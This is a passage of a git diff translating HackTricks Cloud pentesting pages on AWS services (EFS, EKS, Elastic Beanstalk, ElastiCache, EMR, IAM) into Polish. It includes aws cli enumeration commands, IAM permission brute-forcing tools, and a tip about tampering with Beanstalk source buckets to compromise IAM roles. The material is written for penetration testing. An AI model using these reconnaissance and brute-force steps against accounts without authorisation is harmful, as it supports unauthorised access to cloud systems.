uprawnieniami. Umożliwia to **kontrolowanie dostępu do systemu plików EFS na poziomie aplikacji lub użytkownika**, co ułatwia zarządzanie i zabezpieczanie współdzielonych danych plikowych. +**Możesz zamontować system plików z punktu dostępu za pomocą czegoś takiego:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ - /efs/ + /efs/ ``` - > [!WARNING] -> Note that even trying to mount an access point you still need to be able to **contact the NFS service via network**, and if the EFS has a file system **policy**, you need **enough IAM permissions** to mount it. +> Zauważ, że nawet próbując zamontować punkt dostępu, nadal musisz być w stanie **skontaktować się z usługą NFS przez sieć**, a jeśli EFS ma **politykę** systemu plików, potrzebujesz **wystarczających uprawnień IAM**, aby go zamontować. -Access points can be used for the following purposes: +Punkty dostępu mogą być używane do następujących celów: -- **Simplify permissions management**: By defining a POSIX user and group for each access point, you can easily manage access permissions for different applications or users without modifying the underlying file system's permissions. -- **Enforce a root directory**: Access points can restrict access to a specific directory within the EFS file system, ensuring that each application or user operates within its designated folder. This helps prevent accidental data exposure or modification. -- **Easier file system access**: Access points can be associated with an AWS Lambda function or an AWS Fargate task, simplifying file system access for serverless and containerized applications. +- **Uproszczenie zarządzania uprawnieniami**: Definiując użytkownika i grupę POSIX dla każdego punktu dostępu, możesz łatwo zarządzać uprawnieniami dostępu dla różnych aplikacji lub użytkowników bez modyfikowania uprawnień systemu plików. +- **Wymuszenie katalogu głównego**: Punkty dostępu mogą ograniczać dostęp do konkretnego katalogu w systemie plików EFS, zapewniając, że każda aplikacja lub użytkownik działa w swoim wyznaczonym folderze. Pomaga to zapobiegać przypadkowemu ujawnieniu lub modyfikacji danych. +- **Łatwiejszy dostęp do systemu plików**: Punkty dostępu mogą być powiązane z funkcją AWS Lambda lub zadaniem AWS Fargate, co upraszcza dostęp do systemu plików dla aplikacji bezserwerowych i konteneryzowanych. ## Privesc @@ -142,7 +132,3 @@ Access points can be used for the following purposes: {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index a7ead6d10..898f17e14 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,17 +4,16 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) is designed to eliminate the need for users to install, operate, and manage their own Kubernetes control plane or nodes. Instead, Amazon EKS manages these components, providing a simplified way to deploy, manage, and scale containerized applications using Kubernetes on AWS. +Amazon Elastic Kubernetes Service (Amazon EKS) jest zaprojektowany, aby wyeliminować potrzebę instalowania, obsługiwania i zarządzania własnym kontrolerem Kubernetes lub węzłami przez użytkowników. Zamiast tego, Amazon EKS zarządza tymi komponentami, oferując uproszczony sposób wdrażania, zarządzania i skalowania aplikacji kontenerowych przy użyciu Kubernetes na AWS. -Key aspects of Amazon EKS include: +Kluczowe aspekty Amazon EKS obejmują: -1. **Managed Kubernetes Control Plane**: Amazon EKS automates critical tasks such as patching, node provisioning, and updates. -2. **Integration with AWS Services**: It offers seamless integration with AWS services for compute, storage, database, and security. -3. **Scalability and Security**: Amazon EKS is designed to be highly available and secure, providing features such as automatic scaling and isolation by design. -4. **Compatibility with Kubernetes**: Applications running on Amazon EKS are fully compatible with applications running on any standard Kubernetes environment. +1. **Zarządzany kontroler Kubernetes**: Amazon EKS automatyzuje krytyczne zadania, takie jak łatanie, provisionowanie węzłów i aktualizacje. +2. **Integracja z usługami AWS**: Oferuje bezproblemową integrację z usługami AWS w zakresie obliczeń, przechowywania, baz danych i bezpieczeństwa. +3. **Skalowalność i bezpieczeństwo**: Amazon EKS jest zaprojektowany, aby być wysoko dostępnym i bezpiecznym, oferując funkcje takie jak automatyczne skalowanie i izolacja z założenia. +4. **Kompatybilność z Kubernetes**: Aplikacje działające na Amazon EKS są w pełni kompatybilne z aplikacjami działającymi w dowolnym standardowym środowisku Kubernetes. #### Enumeration - ```bash aws eks list-clusters aws eks describe-cluster --name @@ -32,7 +31,6 @@ aws eks describe-nodegroup --cluster-name --nodegroup-name aws eks list-updates --name aws eks describe-update --name --update-id ``` - #### Post Exploitation {{#ref}} @@ -44,7 +42,3 @@ aws eks describe-update --name --update-id - [https://aws.amazon.com/eks/](https://aws.amazon.com/eks/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 980504dac..1ed3516d1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -4,70 +4,69 @@ ## Elastic Beanstalk -Amazon Elastic Beanstalk provides a simplified platform for **deploying, managing, and scaling web applications and services**. It supports a variety of programming languages and frameworks, such as Java, .NET, PHP, Node.js, Python, Ruby, and Go, as well as Docker containers. The service is compatible with widely-used servers including Apache, Nginx, Passenger, and IIS. +Amazon Elastic Beanstalk zapewnia uproszczoną platformę do **wdrażania, zarządzania i skalowania aplikacji internetowych i usług**. Obsługuje różnorodne języki programowania i frameworki, takie jak Java, .NET, PHP, Node.js, Python, Ruby i Go, a także kontenery Docker. Usługa jest zgodna z powszechnie używanymi serwerami, w tym Apache, Nginx, Passenger i IIS. -Elastic Beanstalk provides a simple and flexible way to **deploy your applications to the AWS cloud**, without the need to worry about the underlying infrastructure. It **automatically** handles the details of capacity **provisioning**, load **balancing**, **scaling**, and application health **monitoring**, allowing you to focus on writing and deploying your code. +Elastic Beanstalk zapewnia prosty i elastyczny sposób na **wdrażanie aplikacji w chmurze AWS**, bez potrzeby martwienia się o infrastrukturę. **Automatycznie** zajmuje się szczegółami dotyczącymi **prowizjonowania** zasobów, **równoważenia obciążenia**, **skalowania** i **monitorowania** stanu aplikacji, co pozwala skupić się na pisaniu i wdrażaniu kodu. -The infrastructure created by Elastic Beanstalk is managed by **Autoscaling** Groups in **EC2** (with a load balancer). Which means that at the end of the day, if you **compromise the host**, you should know about about EC2: +Infrastruktura tworzona przez Elastic Beanstalk jest zarządzana przez **Autoscaling** Groups w **EC2** (z równoważnikiem obciążenia). Oznacza to, że na koniec dnia, jeśli **skomprymujesz hosta**, powinieneś wiedzieć o EC2: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -Moreover, if Docker is used, it’s possible to use **ECS**. +Ponadto, jeśli używany jest Docker, możliwe jest korzystanie z **ECS**. {{#ref}} aws-eks-enum.md {{#endref}} -### Application & Environments +### Aplikacja i Środowiska -In AWS Elastic Beanstalk, the concepts of an "application" and an "environment" serve different purposes and have distinct roles in the deployment process. +W AWS Elastic Beanstalk pojęcia "aplikacja" i "środowisko" pełnią różne funkcje i mają odrębne role w procesie wdrażania. -#### Application +#### Aplikacja -- An application in Elastic Beanstalk is a **logical container for your application's source code, environments, and configurations**. It groups together different versions of your application code and allows you to manage them as a single entity. -- When you create an application, you provide a name and **description, but no resources are provisioned** at this stage. it is simply a way to organize and manage your code and related resources. -- You can have **multiple application versions** within an application. Each version corresponds to a specific release of your code, which can be deployed to one or more environments. +- Aplikacja w Elastic Beanstalk to **logiczny kontener dla kodu źródłowego aplikacji, środowisk i konfiguracji**. Grupuje różne wersje kodu aplikacji i pozwala zarządzać nimi jako jedną jednostką. +- Kiedy tworzysz aplikację, podajesz nazwę i **opis, ale w tym etapie nie są przydzielane żadne zasoby**. To po prostu sposób na organizację i zarządzanie kodem oraz powiązanymi zasobami. +- Możesz mieć **wiele wersji aplikacji** w ramach jednej aplikacji. Każda wersja odpowiada konkretnej wersji twojego kodu, która może być wdrożona w jednym lub więcej środowiskach. -#### Environment +#### Środowisko -- An environment is a **provisioned instance of your application** running on AWS infrastructure. It is **where your application code is deployed and executed**. Elastic Beanstalk provisions the necessary resources (e.g., EC2 instances, load balancers, auto-scaling groups, databases) based on the environment configuration. -- **Each environment runs a single version of your application**, and you can have multiple environments for different purposes, such as development, testing, staging, and production. -- When you create an environment, you choose a platform (e.g., Java, .NET, Node.js, etc.) and an environment type (e.g., web server or worker). You can also customize the environment configuration to control various aspects of the infrastructure and application settings. +- Środowisko to **przydzielona instancja twojej aplikacji** działająca na infrastrukturze AWS. To **gdzie kod aplikacji jest wdrażany i wykonywany**. Elastic Beanstalk przydziela niezbędne zasoby (np. instancje EC2, równoważniki obciążenia, grupy auto-skalowania, bazy danych) na podstawie konfiguracji środowiska. +- **Każde środowisko uruchamia jedną wersję twojej aplikacji**, a ty możesz mieć wiele środowisk do różnych celów, takich jak rozwój, testowanie, staging i produkcja. +- Kiedy tworzysz środowisko, wybierasz platformę (np. Java, .NET, Node.js itp.) oraz typ środowiska (np. serwer WWW lub pracownik). Możesz również dostosować konfigurację środowiska, aby kontrolować różne aspekty infrastruktury i ustawień aplikacji. -### 2 types of Environments +### 2 typy Środowisk -1. **Web Server Environment**: It is designed to **host and serve web applications and APIs**. These applications typically handle incoming HTTP/HTTPS requests. The web server environment provisions resources such as **EC2 instances, load balancers, and auto-scaling** groups to handle incoming traffic, manage capacity, and ensure the application's high availability. -2. **Worker Environment**: It is designed to process **background tasks**, which are often time-consuming or resource-intensive operations that don't require immediate responses to clients. The worker environment provisions resources like **EC2 instances and auto-scaling groups**, but it **doesn't have a load balancer** since it doesn't handle HTTP/HTTPS requests directly. Instead, it consumes tasks from an **Amazon Simple Queue Service (SQS) queue**, which acts as a buffer between the worker environment and the tasks it processes. +1. **Środowisko Serwera WWW**: Jest zaprojektowane do **hostowania i obsługi aplikacji internetowych i API**. Te aplikacje zazwyczaj obsługują przychodzące żądania HTTP/HTTPS. Środowisko serwera WWW przydziela zasoby takie jak **instancje EC2, równoważniki obciążenia i grupy auto-skalowania**, aby obsługiwać przychodzący ruch, zarządzać pojemnością i zapewnić wysoką dostępność aplikacji. +2. **Środowisko Pracownika**: Jest zaprojektowane do przetwarzania **zadań w tle**, które często są czasochłonne lub zasobożerne i nie wymagają natychmiastowych odpowiedzi dla klientów. Środowisko pracownika przydziela zasoby takie jak **instancje EC2 i grupy auto-skalowania**, ale **nie ma równoważnika obciążenia**, ponieważ nie obsługuje bezpośrednio żądań HTTP/HTTPS. Zamiast tego, konsumuje zadania z **Amazon Simple Queue Service (SQS)**, które działa jako bufor między środowiskiem pracownika a zadaniami, które przetwarza. -### Security +### Bezpieczeństwo -When creating an App in Beanstalk there are 3 very important security options to choose: +Podczas tworzenia aplikacji w Beanstalk istnieją 3 bardzo ważne opcje bezpieczeństwa do wyboru: -- **EC2 key pair**: This will be the **SSH key** that will be able to access the EC2 instances running the app -- **IAM instance profile**: This is the **instance profile** that the instances will have (**IAM privileges**) - - The autogenerated role is called **`aws-elasticbeanstalk-ec2-role`** and has some interesting access over all ECS, all SQS, DynamoDB elasticbeanstalk and elasticbeanstalk S3 using the AWS managed policies: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). -- **Service role**: This is the **role that the AWS service** will use to perform all the needed actions. Afaik, a regular AWS user cannot access that role. - - This role generated by AWS is called **`aws-elasticbeanstalk-service-role`** and uses the AWS managed policies [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) and [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) +- **Para kluczy EC2**: To będzie **klucz SSH**, który będzie mógł uzyskać dostęp do instancji EC2 uruchamiających aplikację. +- **Profil instancji IAM**: To jest **profil instancji**, który będą miały instancje (**uprawnienia IAM**). +- Autogenerowana rola nazywa się **`aws-elasticbeanstalk-ec2-role`** i ma interesujący dostęp do wszystkich ECS, wszystkich SQS, DynamoDB elasticbeanstalk i elasticbeanstalk S3, korzystając z zarządzanych polityk AWS: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier). +- **Rola usługi**: To jest **rola, którą usługa AWS** będzie używać do wykonywania wszystkich potrzebnych działań. O ile mi wiadomo, zwykły użytkownik AWS nie może uzyskać dostępu do tej roli. +- Ta rola generowana przez AWS nazywa się **`aws-elasticbeanstalk-service-role`** i korzysta z zarządzanych polityk AWS [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) oraz [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) -By default **metadata version 1 is disabled**: +Domyślnie **wersja metadanych 1 jest wyłączona**:
-### Exposure +### Ekspozycja -Beanstalk data is stored in a **S3 bucket** with the following name: **`elasticbeanstalk--`**(if it was created in the AWS console). Inside this bucket you will find the uploaded **source code of the application**. +Dane Beanstalk są przechowywane w **wiadrze S3** o następującej nazwie: **`elasticbeanstalk--`** (jeśli zostało utworzone w konsoli AWS). Wewnątrz tego wiadra znajdziesz przesłany **kod źródłowy aplikacji**. -The **URL** of the created webpage is **`http://-env...elasticbeanstalk.com/`** +**URL** utworzonej strony internetowej to **`http://-env...elasticbeanstalk.com/`** > [!WARNING] -> If you get **read access** over the bucket, you can **read the source code** and even find **sensitive credentials** on it +> Jeśli uzyskasz **dostęp do odczytu** do wiadra, możesz **odczytać kod źródłowy** i nawet znaleźć **wrażliwe dane uwierzytelniające** w nim > -> if you get **write access** over the bucket, you could **modify the source code** to **compromise** the **IAM role** the application is using next time it's executed. - -### Enumeration +> jeśli uzyskasz **dostęp do zapisu** do wiadra, możesz **zmodyfikować kod źródłowy**, aby **skomprymować** **rolę IAM**, której aplikacja używa przy następnym jej wykonaniu. +### Enumeracja ```bash # Find S3 bucket ACCOUNT_NUMBER= @@ -85,33 +84,28 @@ aws elasticbeanstalk describe-instances-health --environment-name # G # Get events aws elasticbeanstalk describe-events ``` - -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md {{#endref}} -### Persistence +### Utrzymywanie {{#ref}} ../aws-persistence/aws-elastic-beanstalk-persistence.md {{#endref}} -### Privesc +### Eskalacja uprawnień {{#ref}} ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### Post Exploitation +### Po eksploatacji {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md index 6305fcc91..c2e4e9f1f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md @@ -4,10 +4,9 @@ ## ElastiCache -AWS ElastiCache is a fully **managed in-memory data store and cache service** that provides high-performance, low-latency, and scalable solutions for applications. It supports two popular open-source in-memory engines: **Redis and Memcached**. ElastiCache **simplifies** the **setup**, **management**, and **maintenance** of these engines, allowing developers to offload time-consuming tasks such as provisioning, patching, monitoring, and **backups**. +AWS ElastiCache to w pełni **zarządzana usługa przechowywania danych w pamięci i pamięci podręcznej**, która oferuje rozwiązania o wysokiej wydajności, niskim opóźnieniu i skalowalności dla aplikacji. Obsługuje dwa popularne silniki pamięci podręcznej typu open-source: **Redis i Memcached**. ElastiCache **upraszcza** **konfigurację**, **zarządzanie** i **utrzymanie** tych silników, umożliwiając programistom odciążenie czasochłonnych zadań, takich jak provisionowanie, łatanie, monitorowanie i **kopie zapasowe**. ### Enumeration - ```bash # ElastiCache clusters ## Check the SecurityGroups to later check who can access @@ -39,11 +38,6 @@ aws elasticache describe-users # List ElastiCache events aws elasticache describe-events ``` - ### Privesc (TODO) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index b05012f3e..2b2e7984a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -4,38 +4,37 @@ ## EMR -AWS's Elastic MapReduce (EMR) service, starting from version 4.8.0, introduced a **security configuration** feature that enhances data protection by allowing users to specify encryption settings for data at rest and in transit within EMR clusters, which are scalable groups of EC2 instances designed to process big data frameworks like Apache Hadoop and Spark. +Usługa Elastic MapReduce (EMR) AWS, począwszy od wersji 4.8.0, wprowadziła funkcję **konfiguracji zabezpieczeń**, która zwiększa ochronę danych, umożliwiając użytkownikom określenie ustawień szyfrowania dla danych w spoczynku i w tranzycie w klastrach EMR, które są skalowalnymi grupami instancji EC2 zaprojektowanymi do przetwarzania dużych zbiorów danych, takich jak Apache Hadoop i Spark. -Key characteristics include: +Kluczowe cechy obejmują: -- **Cluster Encryption Default**: By default, data at rest within a cluster is not encrypted. However, enabling encryption provides access to several features: - - **Linux Unified Key Setup**: Encrypts EBS cluster volumes. Users can opt for AWS Key Management Service (KMS) or a custom key provider. - - **Open-Source HDFS Encryption**: Offers two encryption options for Hadoop: - - Secure Hadoop RPC (Remote Procedure Call), set to privacy, leveraging the Simple Authentication Security Layer. - - HDFS Block transfer encryption, set to true, utilizes the AES-256 algorithm. -- **Encryption in Transit**: Focuses on securing data during transfer. Options include: - - **Open Source Transport Layer Security (TLS)**: Encryption can be enabled by choosing a certificate provider: - - **PEM**: Requires manual creation and bundling of PEM certificates into a zip file, referenced from an S3 bucket. - - **Custom**: Involves adding a custom Java class as a certificate provider that supplies encryption artifacts. +- **Domyślne szyfrowanie klastra**: Domyślnie dane w spoczynku w klastrze nie są szyfrowane. Jednak włączenie szyfrowania zapewnia dostęp do kilku funkcji: +- **Zunifikowane ustawienie klucza Linux**: Szyfruje wolumeny klastra EBS. Użytkownicy mogą wybrać usługę zarządzania kluczami AWS (KMS) lub niestandardowego dostawcę kluczy. +- **Szyfrowanie HDFS open-source**: Oferuje dwie opcje szyfrowania dla Hadoop: +- Bezpieczny Hadoop RPC (Remote Procedure Call), ustawiony na prywatność, wykorzystujący warstwę zabezpieczeń prostego uwierzytelniania. +- Szyfrowanie transferu bloków HDFS, ustawione na true, wykorzystuje algorytm AES-256. +- **Szyfrowanie w tranzycie**: Skupia się na zabezpieczeniu danych podczas transferu. Opcje obejmują: +- **Open Source Transport Layer Security (TLS)**: Szyfrowanie można włączyć, wybierając dostawcę certyfikatów: +- **PEM**: Wymaga ręcznego utworzenia i spakowania certyfikatów PEM w plik zip, odwołując się do niego z wiadra S3. +- **Niestandardowy**: Polega na dodaniu niestandardowej klasy Java jako dostawcy certyfikatów, która dostarcza artefakty szyfrowania. -Once a TLS certificate provider is integrated into the security configuration, the following application-specific encryption features can be activated, varying based on the EMR version: +Po zintegrowaniu dostawcy certyfikatów TLS w konfiguracji zabezpieczeń można aktywować następujące funkcje szyfrowania specyficzne dla aplikacji, różniące się w zależności od wersji EMR: - **Hadoop**: - - Might reduce encrypted shuffle using TLS. - - Secure Hadoop RPC with Simple Authentication Security Layer and HDFS Block Transfer with AES-256 are activated with at-rest encryption. -- **Presto** (EMR version 5.6.0+): - - Internal communication between Presto nodes is secured using SSL and TLS. +- Może zmniejszyć szyfrowany shuffle przy użyciu TLS. +- Bezpieczny Hadoop RPC z warstwą zabezpieczeń prostego uwierzytelniania i transfer bloków HDFS z AES-256 są aktywowane przy szyfrowaniu w spoczynku. +- **Presto** (wersja EMR 5.6.0+): +- Wewnętrzna komunikacja między węzłami Presto jest zabezpieczona przy użyciu SSL i TLS. - **Tez Shuffle Handler**: - - Utilizes TLS for encryption. +- Wykorzystuje TLS do szyfrowania. - **Spark**: - - Employs TLS for the Akka protocol. - - Uses Simple Authentication Security Layer and 3DES for Block Transfer Service. - - External shuffle service is secured with the Simple Authentication Security Layer. +- Wykorzystuje TLS dla protokołu Akka. +- Używa warstwy zabezpieczeń prostego uwierzytelniania i 3DES dla usługi transferu bloków. +- Zewnętrzna usługa shuffle jest zabezpieczona warstwą zabezpieczeń prostego uwierzytelniania. -These features collectively enhance the security posture of EMR clusters, especially concerning data protection during storage and transmission phases. +Te funkcje wspólnie zwiększają bezpieczeństwo klastrów EMR, szczególnie w zakresie ochrony danych podczas faz przechowywania i transmisji. #### Enumeration - ```bash aws emr list-clusters aws emr describe-cluster --cluster-id @@ -46,7 +45,6 @@ aws emr list-notebook-executions aws emr list-security-configurations aws emr list-studios #Get studio URLs ``` - #### Privesc {{#ref}} @@ -58,7 +56,3 @@ aws emr list-studios #Get studio URLs - [https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/](https://cloudacademy.com/course/domain-three-designing-secure-applications-and-architectures/elastic-mapreduce-emr-encryption-1/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md index 7a430cc17..7afbbb57f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md @@ -4,17 +4,17 @@ ## IAM -You can find a **description of IAM** in: +Możesz znaleźć **opis IAM** w: {{#ref}} ../aws-basic-information/ {{#endref}} -### Enumeration +### Enumeracja -Main permissions needed: +Główne wymagane uprawnienia: -- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion` +- `iam:ListPolicies`, `iam:GetPolicy` i `iam:GetPolicyVersion` - `iam:ListRoles` - `iam:ListUsers` - `iam:ListGroups` @@ -22,10 +22,9 @@ Main permissions needed: - `iam:ListAttachedUserPolicies` - `iam:ListAttachedRolePolicies` - `iam:ListAttachedGroupPolicies` -- `iam:ListUserPolicies` and `iam:GetUserPolicy` -- `iam:ListGroupPolicies` and `iam:GetGroupPolicy` -- `iam:ListRolePolicies` and `iam:GetRolePolicy` - +- `iam:ListUserPolicies` i `iam:GetUserPolicy` +- `iam:ListGroupPolicies` i `iam:GetGroupPolicy` +- `iam:ListRolePolicies` i `iam:GetRolePolicy` ```bash # All IAMs ## Retrieves information about all IAM users, groups, roles, and policies @@ -89,64 +88,54 @@ aws iam get-account-password-policy aws iam list-mfa-devices aws iam list-virtual-mfa-devices ``` - ### Permissions Brute Force -If you are interested in your own permissions but you don't have access to query IAM you could always brute-force them. +Jeśli interesujesz się swoimi uprawnieniami, ale nie masz dostępu do zapytań IAM, zawsze możesz je wypróbować metodą brute-force. #### bf-aws-permissions -The tool [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) is just a bash script that will run using the indicated profile all the **`list*`, `describe*`, `get*`** actions it can find using `aws` cli help messages and **return the successful executions**. - +Narzędzie [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) to po prostu skrypt bash, który uruchomi wszystkie akcje **`list*`, `describe*`, `get*`**, które może znaleźć, korzystając z komunikatów pomocy `aws` cli i **zwróci udane wykonania**. ```bash # Bruteforce permissions bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt ``` - #### bf-aws-perms-simulate -The tool [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) can find your current permission (or the ones of other principals) if you have the permission **`iam:SimulatePrincipalPolicy`** - +Narzędzie [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) może znaleźć twoje obecne uprawnienia (lub uprawnienia innych podmiotów), jeśli masz uprawnienie **`iam:SimulatePrincipalPolicy`** ```bash # Ask for permissions python3 aws_permissions_checker.py --profile [--arn ] ``` - #### Perms2ManagedPolicies -If you found **some permissions your user has**, and you think that they are being granted by a **managed AWS role** (and not by a custom one). You can use the tool [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) to check all the **AWS managed roles that grants the permissions you discovered that you have**. - +Jeśli znalazłeś **jakieś uprawnienia, które ma twój użytkownik**, i myślisz, że są one przyznawane przez **zarządzaną rolę AWS** (a nie przez niestandardową). Możesz użyć narzędzia [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies), aby sprawdzić wszystkie **zarządzane role AWS, które przyznają uprawnienia, które odkryłeś, że posiadasz**. ```bash # Run example with my profile python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt ``` - > [!WARNING] -> It's possible to "know" if the permissions you have are granted by an AWS managed role if you see that **you have permissions over services that aren't used** for example. +> Możliwe jest "wiedzieć", czy uprawnienia, które posiadasz, są przyznawane przez zarządzaną rolę AWS, jeśli zobaczysz, że **masz uprawnienia do usług, które nie są używane** na przykład. #### Cloudtrail2IAM -[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) is a Python tool that analyses **AWS CloudTrail logs to extract and summarize actions** done by everyone or just an specific user or role. The tool will **parse every cloudtrail log from the indicated bucket**. - +[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) to narzędzie w Pythonie, które analizuje **logi AWS CloudTrail, aby wydobyć i podsumować działania** wykonane przez wszystkich lub tylko przez konkretnego użytkownika lub rolę. Narzędzie **przeanalizuje każdy log cloudtrail z wskazanego koszyka**. ```bash git clone https://github.com/carlospolop/Cloudtrail2IAM cd Cloudtrail2IAM pip install -r requirements.txt python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS] ``` - > [!WARNING] -> If you find .tfstate (Terraform state files) or CloudFormation files (these are usually yaml files located inside a bucket with the prefix cf-templates), you can also read them to find aws configuration and find which permissions have been assigned to who. +> Jeśli znajdziesz pliki .tfstate (pliki stanu Terraform) lub pliki CloudFormation (zwykle są to pliki yaml znajdujące się w wiadrze z prefiksem cf-templates), możesz je również przeczytać, aby znaleźć konfigurację aws i sprawdzić, które uprawnienia zostały przypisane do kogo. #### enumerate-iam -To use the tool [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) you first need to download all the API AWS endpoints, from those the script **`generate_bruteforce_tests.py`** will get all the **"list\_", "describe\_", and "get\_" endpoints.** And finally, it will try to **access them** with the given credentials and **indicate if it worked**. +Aby użyć narzędzia [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), najpierw musisz pobrać wszystkie punkty końcowe API AWS, z których skrypt **`generate_bruteforce_tests.py`** pobierze wszystkie **punkty końcowe "list\_", "describe\_" i "get\_".** A na koniec spróbuje **uzyskać do nich dostęp** za pomocą podanych poświadczeń i **wskaże, czy to zadziałało**. -(In my experience the **tool hangs at some point**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) to try to fix that). +(W moim doświadczeniu **narzędzie zawiesza się w pewnym momencie**, [**sprawdź to rozwiązanie**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c), aby spróbować to naprawić). > [!WARNING] -> In my experience this tool is like the previous one but working worse and checking less permissions - +> Z mojego doświadczenia to narzędzie jest jak poprzednie, ale działa gorzej i sprawdza mniej uprawnień. ```bash # Install tool git clone git@github.com:andresriancho/enumerate-iam.git @@ -163,11 +152,9 @@ cd .. # Enumerate permissions python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--session-token SESSION_TOKEN] [--region REGION] ``` - #### weirdAAL -You could also use the tool [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). This tool will check **several common operations on several common services** (will check some enumeration permissions and also some privesc permissions). But it will only check the coded checks (the only way to check more stuff if coding more tests). - +Możesz również użyć narzędzia [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). To narzędzie sprawdzi **kilka powszechnych operacji na kilku powszechnych usługach** (sprawdzi niektóre uprawnienia do enumeracji oraz niektóre uprawnienia do privesc). Ale sprawdzi tylko zakodowane kontrole (jedynym sposobem na sprawdzenie większej liczby rzeczy jest zakodowanie większej liczby testów). ```bash # Install git clone https://github.com/carnal0wnage/weirdAAL.git @@ -191,12 +178,10 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions # [+] elbv2 Actions allowed are [+] # ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups'] ``` - -#### Hardening Tools to BF permissions +#### Narzędzia do wzmacniania uprawnień BF {{#tabs }} {{#tab name="CloudSploit" }} - ```bash # Export env variables ./index.js --console=text --config ./config.js --json /tmp/out-cloudsploit.json @@ -207,11 +192,9 @@ jq 